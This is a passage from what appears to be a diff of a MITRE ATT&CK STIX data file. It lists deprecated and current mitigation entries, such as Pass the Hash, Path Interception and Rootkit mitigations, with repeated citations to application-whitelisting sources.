"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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(Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.647Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1050", + "url": "https://attack.mitre.org/mitigations/T1050" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-06-19T16:50:45.681Z", + "name": "Operating System Configuration", + "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "created": "2019-06-06T21:16:18.709Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1028", + "external_id": "M1028", + "source_name": "mitre-attack" + } + ], + "id": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Pass the Hash Mitigation", + "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:21:20.411Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1075", + "url": "https://attack.mitre.org/mitigations/T1075" + }, + { + "source_name": "GitHub IAD Secure Host Baseline UAC Filtering", + "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Pass the Ticket Mitigation", + "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:21.478Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1097", + "url": "https://attack.mitre.org/mitigations/T1097" + }, + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Password Filter DLL Mitigation", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:22:19.139Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1174", + "external_id": "T1174", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Install Password Filter n.d", + "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Password Policies", + "description": "Set and enforce secure password policies for accounts.", + "x_mitre_version": "1.0", + "modified": "2019-06-06T21:10:35.792Z", + "id": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created": "2019-06-06T21:10:35.792Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1027", + "external_id": "M1027", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Password Policy Discovery Mitigation", + "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:22:39.929Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1201", + "external_id": "T1201", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Password Complexity", + "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Path Interception Mitigation", + "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.363Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1034", + "url": "https://attack.mitre.org/mitigations/T1034" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "source_name": "MSDN DLL Security" + }, + { + "url": "https://skanthak.homepage.t-online.de/sentinel.html", + "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "source_name": "Kanthak Sentinel" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--e0703d4f-3972-424a-8277-84004817e024", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Peripheral Device Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.899Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1120", + "url": "https://attack.mitre.org/mitigations/T1120" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Permission Groups Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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(Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:18.615Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1093", + "url": "https://attack.mitre.org/mitigations/T1093" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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(Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.641Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1012", + "url": "https://attack.mitre.org/mitigations/T1012" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Rc.common Mitigation", + "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:29:48.385Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1163", + "external_id": "T1163", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Re-opened Applications Mitigation", + "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:30:18.799Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1164", + "external_id": "T1164", + "source_name": "mitre-attack" + }, + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--46acc565-11aa-40ba-b629-33ba0ab9b07b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-05-20T15:12:39.136Z", + "name": "Restrict File and Directory Permissions", + "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "created": "2019-06-06T20:54:49.964Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1022", + "external_id": "M1022", + "source_name": "mitre-attack" + } + ], + "id": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Restrict Library Loading", + "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", + "x_mitre_version": "1.0", + "modified": "2019-06-11T17:00:01.740Z", + "id": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "created": "2019-06-11T17:00:01.740Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1044", + "external_id": "M1044", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "course-of-action", + "modified": "2019-06-06T20:58:59.577Z", + "id": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Restrict Registry Permissions", + "created": "2019-06-06T20:58:59.577Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1024", + "external_id": "M1024", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "course-of-action", + "modified": "2019-06-06T20:52:59.206Z", + "id": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Restrict Web-Based Content", + "created": "2019-06-06T20:52:59.206Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1021", + "external_id": "M1021", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Rootkit Mitigation", + "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:18.627Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1014", + "url": "https://attack.mitre.org/mitigations/T1014" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Rundll32 Mitigation", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:36:40.673Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1085", + "external_id": "T1085", + "source_name": "mitre-attack" + }, + { + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET", + "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.", + "source_name": "Secure Host Baseline EMET" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Runtime Data Manipulation Mitigation", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. 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Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": 